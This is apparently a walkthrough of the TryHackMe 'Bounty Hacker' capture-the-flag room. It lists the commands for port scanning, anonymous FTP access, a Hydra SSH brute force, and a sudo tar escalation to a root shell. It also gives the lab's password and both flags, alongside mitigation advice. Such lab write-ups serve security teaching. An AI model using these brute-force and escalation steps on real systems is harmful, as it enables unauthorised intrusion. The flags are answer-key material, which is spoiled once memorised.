Understanding the CTF Challenge

Capture The Flag (CTF) challenges are hands-on cybersecurity exercises that test your ability to identify vulnerabilities and exploit systems in controlled environments. This walkthrough demonstrates the "Bounty Hacker" room on TryHackMe, covering essential penetration testing techniques from initial reconnaissance to privilege escalation. You'll learn practical skills applicable to real-world security assessments.

Key Learning Objectives

• Network Reconnaissance: Discover open ports and services using scanning tools
• Service Exploitation: Identify and leverage misconfigurations for initial access
• Credential Attacks: Execute brute-force attacks against authentication systems
• Privilege Escalation: Abuse system permissions to gain administrative control

---

Phase 1: Network Reconnaissance

The first step in any penetration test is gathering information about your target. Use nmap to scan for open ports and identify running services.

Scanning Command

nmap -sC -sV -A -T4 -v -p- 10.10.69.196

Flag Breakdown:

• -sC: Runs default NSE scripts for common vulnerabilities
• -sV: Detects service versions
• -A: Enables OS detection and traceroute
• -T4: Sets aggressive timing for faster scans
• -p-: Scans all 65,535 ports

Discovered Services

Port	Service	Version	Notes
21	FTP	vsftpd 3.0.3	Potential anonymous access
22	SSH	OpenSSH 7.2p2	Authentication required
80	HTTP	Apache 2.4.18	Web server running

Key Finding: Three services are exposed, with FTP being the most promising initial attack vector.

---

Phase 2: FTP Exploitation

The FTP service allows anonymous login, a critical misconfiguration that exposes the system to unauthorized access.

Accessing Anonymous FTP

ftp 10.10.69.196

Login credentials:

• Username: anonymous
• Password: (press Enter)

Retrieving Files

ftp> ls
ftp> get locks.txt
ftp> get task.txt
ftp> exit

Analyzing Retrieved Files

task.txt reveals:

• Username: lin
• Information about system tasks

locks.txt contains:

• A list of potential passwords
• Useful for credential attacks

Security Lesson: Anonymous FTP access should always be disabled in production environments. This misconfiguration is a common entry point for attackers.

---

Phase 3: SSH Brute-Force Attack

With a valid username (lin) and a password list (locks.txt), use Hydra to brute-force SSH credentials.

Preparing the Attack

Create a username file:

echo "lin" > users.txt

Executing Hydra

hydra ssh://10.10.69.196 -L users.txt -P locks.txt

Hydra parameters:

• -L: Username list file
• -P: Password list file

Successful Credentials

[22][ssh] host: 10.10.69.196
login: lin
password: RedDr4gonSynd1cat3

Defense Consideration: Implement rate-limiting, account lockouts, and strong password policies to prevent brute-force attacks.

---

Phase 4: Initial Access

Log into the system via SSH using the compromised credentials.

SSH Connection

ssh lin@10.10.69.196

Enter password: RedDr4gonSynd1cat3

Capturing the User Flag

cat user.txt

Flag: THM{CR1M3_SyNd1C4T3}

---

Phase 5: Privilege Escalation

Once you have user-level access, the next goal is gaining root privileges. Check for sudo misconfigurations.

Checking Sudo Permissions

sudo -l

Output:

User lin may run the following commands on bountyhacker:
    (root) /bin/tar

Critical Finding: The user can run /bin/tar as root without a password—a dangerous misconfiguration.

Exploiting tar for Root Access

The tar binary can execute arbitrary commands during archive operations. Use this to spawn a root shell:

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

How it works:

• --checkpoint=1: Triggers an action after processing one record
• --checkpoint-action=exec=/bin/sh: Executes a shell with root privileges

Capturing the Root Flag

cat /root/root.txt

Flag: THM{80UN7Y_h4cK3r}

---

Security Lessons & Mitigation Strategies

Common Vulnerabilities Exploited

Vulnerability	Impact	Mitigation
Anonymous FTP	Information disclosure	Disable anonymous access; use SFTP
Weak passwords	Unauthorized access	Enforce strong password policies
Sudo misconfiguration	Privilege escalation	Restrict sudo to essential commands only

Best Practices

• Principle of Least Privilege: Grant users only the permissions they absolutely need
• Regular Security Audits: Scan for misconfigurations using automated tools
• Strong Authentication: Implement multi-factor authentication for critical services
• Password Complexity: Enforce minimum length, complexity, and rotation policies

---

Learn More

Privilege Escalation Resources

• GTFOBins: Comprehensive database of Unix binaries that can be exploited for privilege escalation - https://gtfobins.github.io/
• PEAS Suite: Automated privilege escalation enumeration scripts for Linux and Windows

Advanced Scanning Techniques

• Nmap Official Documentation: Deep dive into advanced scanning options - https://nmap.org/book/
• Nmap Scripting Engine (NSE): Write custom scripts for specialized vulnerability detection

Practice Platforms

• TryHackMe Offensive Pentesting Path: Structured learning path with progressive challenges
• HackTheBox: Advanced penetration testing labs
• PentesterLab: Web application security exercises

Related CTF Challenges

• Basic Pentesting (TryHackMe): Similar difficulty level with different attack vectors
• Kenobi (TryHackMe): Focus on Samba exploitation and path variable manipulation
• Pickle Rick (TryHackMe): Web-based privilege escalation techniques